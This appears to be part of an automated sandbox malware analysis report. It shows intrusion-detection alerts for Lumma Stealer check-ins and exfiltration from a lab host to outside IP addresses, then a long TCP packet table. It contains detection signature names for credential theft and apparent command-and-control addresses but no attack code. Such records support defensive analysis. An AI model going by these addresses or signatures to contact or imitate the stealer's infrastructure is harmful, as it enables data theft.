2025-01-10T20:51:16.479410+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.17	49819	188.114.97.3	443	TCP
2025-01-10T20:51:16.479410+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.17	49819	188.114.97.3	443	TCP
2025-01-10T20:51:17.275361+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.17	49820	188.114.97.3	443	TCP
2025-01-10T20:51:18.206892+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.17	49820	188.114.97.3	443	TCP
2025-01-10T20:51:18.724845+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.17	49821	188.114.97.3	443	TCP
2025-01-10T20:51:20.895965+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.17	49822	188.114.97.3	443	TCP
2025-01-10T20:51:22.121436+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.17	49823	188.114.97.3	443	TCP
2025-01-10T20:51:23.122535+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.17	49824	188.114.97.3	443	TCP
2025-01-10T20:51:24.141759+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.17	49825	188.114.97.3	443	TCP
2025-01-10T20:51:24.472719+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.17	49825	188.114.97.3	443	TCP
2025-01-10T20:51:25.311290+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.17	49826	185.161.251.21	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 20:49:27.563741922 CET	49678	443	192.168.2.17	204.79.197.200
Jan 10, 2025 20:49:27.563777924 CET	49677	443	192.168.2.17	204.79.197.200
Jan 10, 2025 20:49:27.563781977 CET	49676	443	192.168.2.17	204.79.197.200
Jan 10, 2025 20:49:27.770703077 CET	49702	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:27.770740032 CET	443	49702	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:27.770808935 CET	49702	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:27.771053076 CET	49702	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:27.771064997 CET	443	49702	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:27.771470070 CET	49703	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:27.771578074 CET	443	49703	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:27.771697998 CET	49703	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:27.772063971 CET	49703	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:27.772106886 CET	443	49703	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:28.807853937 CET	443	49702	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:28.808151960 CET	49702	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:28.808180094 CET	443	49702	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:28.809211969 CET	443	49702	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:28.809283018 CET	49702	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:28.810343027 CET	49702	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:28.810406923 CET	443	49702	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:28.810519934 CET	49702	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:28.810527086 CET	443	49702	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:28.812112093 CET	443	49703	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:28.812310934 CET	49703	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:28.812341928 CET	443	49703	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:28.813400030 CET	443	49703	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:28.813466072 CET	49703	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:28.813774109 CET	49703	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:28.813846111 CET	443	49703	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:28.856728077 CET	49702	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:28.856847048 CET	49703	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:28.856872082 CET	443	49703	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:28.904711008 CET	49703	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:30.033488989 CET	443	49702	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:30.033509016 CET	443	49702	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:30.033515930 CET	443	49702	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:30.033689976 CET	49702	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:30.033709049 CET	443	49702	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:30.045789003 CET	49704	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:30.045854092 CET	443	49704	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:30.045921087 CET	49704	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:30.045936108 CET	49703	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:30.046185970 CET	49704	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:30.046205044 CET	443	49704	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:30.085751057 CET	49702	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:30.087378979 CET	443	49703	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:30.167546034 CET	443	49702	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:30.167557001 CET	443	49702	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:30.167597055 CET	443	49702	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:30.167678118 CET	49702	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:30.167745113 CET	49702	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:30.167753935 CET	443	49702	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:30.168162107 CET	443	49702	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:30.168169022 CET	443	49702	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:30.168237925 CET	49702	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:30.168242931 CET	443	49702	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:30.168822050 CET	443	49702	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:30.168857098 CET	443	49702	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:30.168880939 CET	49702	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:30.168886900 CET	443	49702	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:30.168912888 CET	49702	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:30.169764996 CET	443	49702	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:30.169832945 CET	49702	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:30.169837952 CET	443	49702	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:30.170255899 CET	49705	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:30.170293093 CET	443	49705	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:30.170362949 CET	49705	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:30.170656919 CET	49706	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:30.170715094 CET	443	49706	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:30.170767069 CET	49706	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:30.170876026 CET	49705	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:30.170890093 CET	443	49705	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:30.171360970 CET	49706	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:30.171386003 CET	443	49706	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:30.172120094 CET	49707	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:30.172132015 CET	443	49707	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:30.172190905 CET	49707	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:30.172482014 CET	49707	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:30.172492027 CET	443	49707	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:30.213856936 CET	49702	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:30.271804094 CET	443	49703	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:30.271832943 CET	443	49703	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:30.271842003 CET	443	49703	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:30.271878004 CET	443	49703	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:30.271945000 CET	443	49703	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:30.271954060 CET	443	49703	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:30.271956921 CET	49703	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:30.271979094 CET	443	49703	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:30.272020102 CET	443	49703	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:30.272134066 CET	49703	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:30.272134066 CET	49703	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:30.272134066 CET	49703	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:30.272732973 CET	49703	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:30.272753954 CET	443	49703	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:30.273276091 CET	49708	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:30.273319960 CET	443	49708	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:30.273395061 CET	49708	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:30.273782969 CET	49708	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:30.273797035 CET	443	49708	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:30.301934958 CET	443	49702	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:30.301949024 CET	443	49702	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:30.302143097 CET	49702	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:30.302159071 CET	443	49702	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:30.302603960 CET	443	49702	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:30.302612066 CET	443	49702	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:30.302675962 CET	49702	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:30.302683115 CET	443	49702	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:30.303101063 CET	443	49702	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:30.303128958 CET	443	49702	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:30.303163052 CET	49702	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:30.303169966 CET	443	49702	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:30.303195000 CET	49702	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:30.303781986 CET	443	49702	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:30.303838968 CET	49702	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:30.303843975 CET	443	49702	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:30.303873062 CET	443	49702	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:30.303917885 CET	49702	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:30.304055929 CET	49702	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:30.304066896 CET	443	49702	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:30.763211966 CET	443	49704	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:30.763667107 CET	49704	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:30.763711929 CET	443	49704	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:30.764066935 CET	443	49704	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:30.764386892 CET	49704	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:30.764452934 CET	443	49704	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:30.764522076 CET	49704	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:30.807339907 CET	443	49704	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:30.869508982 CET	443	49707	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:30.869832039 CET	49707	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:30.869860888 CET	443	49707	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:30.871171951 CET	443	49707	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:30.871256113 CET	49707	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:30.871602058 CET	49707	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:30.871695042 CET	443	49707	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:30.871736050 CET	49707	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:30.886254072 CET	443	49705	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:30.886533022 CET	49705	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:30.886542082 CET	443	49705	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:30.886893034 CET	443	49705	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:30.887908936 CET	49705	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:30.887969971 CET	443	49705	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:30.888040066 CET	49705	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:30.915323973 CET	443	49707	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:30.917725086 CET	49707	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:30.917752981 CET	443	49707	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:30.921380043 CET	443	49706	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:30.922483921 CET	49706	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:30.922512054 CET	443	49706	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:30.923618078 CET	443	49706	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:30.923692942 CET	49706	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:30.925606012 CET	49706	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:30.925688982 CET	443	49706	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:30.925914049 CET	49706	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:30.925924063 CET	443	49706	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:30.931327105 CET	443	49705	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:30.961114883 CET	49707	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:30.965719938 CET	49706	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:30.971256018 CET	443	49708	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:30.972649097 CET	49708	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:30.972666025 CET	443	49708	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:30.974113941 CET	443	49708	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:30.974176884 CET	49708	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:30.975452900 CET	49708	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:30.975536108 CET	443	49708	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:30.976073980 CET	49708	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:30.976079941 CET	443	49708	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:31.027710915 CET	49708	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:31.163851023 CET	443	49704	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:31.163889885 CET	443	49704	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:31.163953066 CET	49704	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:31.163983107 CET	443	49704	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:31.218705893 CET	49704	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:31.235039949 CET	49709	443	192.168.2.17	142.250.186.36
Jan 10, 2025 20:49:31.235088110 CET	443	49709	142.250.186.36	192.168.2.17
Jan 10, 2025 20:49:31.235151052 CET	49709	443	192.168.2.17	142.250.186.36
Jan 10, 2025 20:49:31.236125946 CET	49709	443	192.168.2.17	142.250.186.36
Jan 10, 2025 20:49:31.236144066 CET	443	49709	142.250.186.36	192.168.2.17
Jan 10, 2025 20:49:31.256166935 CET	443	49707	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:31.256237030 CET	443	49707	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:31.256258011 CET	443	49707	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:31.256278038 CET	443	49707	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:31.256356955 CET	49707	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:31.256356955 CET	49707	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:31.256418943 CET	443	49707	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:31.296528101 CET	49707	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:31.298240900 CET	443	49704	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:31.298250914 CET	443	49704	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:31.298316956 CET	49704	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:31.299618006 CET	443	49704	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:31.299627066 CET	443	49704	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:31.299695015 CET	49704	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:31.300776005 CET	443	49704	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:31.300782919 CET	443	49704	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:31.300961971 CET	49704	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:31.304109097 CET	443	49704	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:31.304182053 CET	49704	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:31.330899000 CET	443	49706	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:31.330929041 CET	443	49706	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:31.330936909 CET	443	49706	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:31.331007004 CET	49706	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:31.331027985 CET	443	49706	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:31.356599092 CET	443	49708	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:31.356684923 CET	443	49708	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:31.356744051 CET	49708	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:31.357445955 CET	49708	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:31.357460976 CET	443	49708	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:31.378758907 CET	49706	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:31.380825043 CET	443	49707	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:31.380862951 CET	443	49707	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:31.380881071 CET	443	49707	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:31.380929947 CET	49707	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:31.380983114 CET	49707	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:31.381366968 CET	443	49707	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:31.381387949 CET	443	49707	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:31.381432056 CET	49707	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:31.381457090 CET	49707	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:31.381465912 CET	443	49707	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:31.381548882 CET	443	49707	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:31.381597042 CET	49707	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:31.381618023 CET	49707	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:31.381632090 CET	443	49707	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:31.381640911 CET	49707	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:31.381691933 CET	49707	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:31.432003021 CET	443	49704	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:31.432087898 CET	49704	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:31.433096886 CET	443	49704	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:31.433141947 CET	443	49704	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:31.433167934 CET	49704	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:31.433185101 CET	443	49704	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:31.433203936 CET	49704	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:31.433224916 CET	49704	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:31.433799982 CET	443	49704	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:31.433885098 CET	49704	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:31.434293985 CET	443	49704	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:31.434367895 CET	49704	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:31.435137987 CET	443	49704	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:31.435201883 CET	49704	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:31.435213089 CET	443	49704	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:31.435266972 CET	49704	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:31.466789961 CET	443	49706	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:31.466806889 CET	443	49706	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:31.466943026 CET	49706	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:31.467295885 CET	443	49706	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:31.467302084 CET	443	49706	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:31.467365980 CET	49706	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:31.467825890 CET	443	49706	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:31.467832088 CET	443	49706	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:31.467890024 CET	49706	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:31.468673944 CET	443	49706	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:31.468681097 CET	443	49706	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:31.468748093 CET	49706	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:31.565871954 CET	443	49704	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:31.565915108 CET	443	49704	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:31.565974951 CET	443	49704	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:31.565994978 CET	49704	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:31.566040993 CET	443	49704	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:31.566061974 CET	49704	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:31.566081047 CET	443	49704	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:31.566122055 CET	49704	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:31.566329956 CET	49704	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:31.566350937 CET	443	49704	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:31.568813086 CET	49710	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:31.568850040 CET	443	49710	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:31.568912983 CET	49710	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:31.569123983 CET	49711	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:31.569211006 CET	443	49711	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:31.569281101 CET	49711	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:31.569360971 CET	49710	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:31.569375992 CET	443	49710	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:31.569524050 CET	49711	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:31.569552898 CET	443	49711	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:31.601263046 CET	443	49706	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:31.601289988 CET	443	49706	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:31.601408005 CET	49706	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:31.601444960 CET	443	49706	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:31.601505995 CET	49706	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:31.601512909 CET	443	49706	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:31.601524115 CET	443	49706	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:31.601582050 CET	49706	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:31.602204084 CET	443	49706	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:31.602266073 CET	49706	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:31.602509022 CET	443	49706	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:31.602562904 CET	443	49706	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:31.602582932 CET	49706	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:31.602596045 CET	443	49706	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:31.602611065 CET	49706	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:31.602633953 CET	49706	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:31.602638960 CET	443	49706	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:31.602689028 CET	49706	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:31.603276014 CET	49706	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:31.603295088 CET	443	49706	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:31.653595924 CET	49715	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:31.658457041 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:31.658925056 CET	49715	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:31.658926010 CET	49715	8545	192.168.2.17	3.33.155.121
Jan 10, 2025 20:49:31.663711071 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:31.844939947 CET	49716	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:31.845005989 CET	443	49716	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:31.845062971 CET	49717	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:31.845082998 CET	49716	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:31.845108032 CET	443	49717	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:31.845158100 CET	49717	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:31.845313072 CET	49716	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:31.845335007 CET	443	49716	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:31.845457077 CET	49717	443	192.168.2.17	200.111.89.45
Jan 10, 2025 20:49:31.845472097 CET	443	49717	200.111.89.45	192.168.2.17
Jan 10, 2025 20:49:31.870557070 CET	443	49709	142.250.186.36	192.168.2.17
Jan 10, 2025 20:49:31.870883942 CET	49709	443	192.168.2.17	142.250.186.36
Jan 10, 2025 20:49:31.870953083 CET	443	49709	142.250.186.36	192.168.2.17
Jan 10, 2025 20:49:31.872189045 CET	443	49709	142.250.186.36	192.168.2.17
Jan 10, 2025 20:49:31.872271061 CET	49709	443	192.168.2.17	142.250.186.36
Jan 10, 2025 20:49:31.873344898 CET	49709	443	192.168.2.17	142.250.186.36
Jan 10, 2025 20:49:31.873424053 CET	443	49709	142.250.186.36	192.168.2.17
Jan 10, 2025 20:49:31.920725107 CET	49709	443	192.168.2.17	142.250.186.36
Jan 10, 2025 20:49:31.920753002 CET	443	49709	142.250.186.36	192.168.2.17
Jan 10, 2025 20:49:31.968733072 CET	49709	443	192.168.2.17	142.250.186.36
Jan 10, 2025 20:49:32.173141956 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:32.173155069 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:32.173168898 CET	8545	49715	3.33.155.121	192.168.2.17
Jan 10, 2025 20:49:32.173191071 CET	8545	49715	3.33.155.121	192.168.2.17
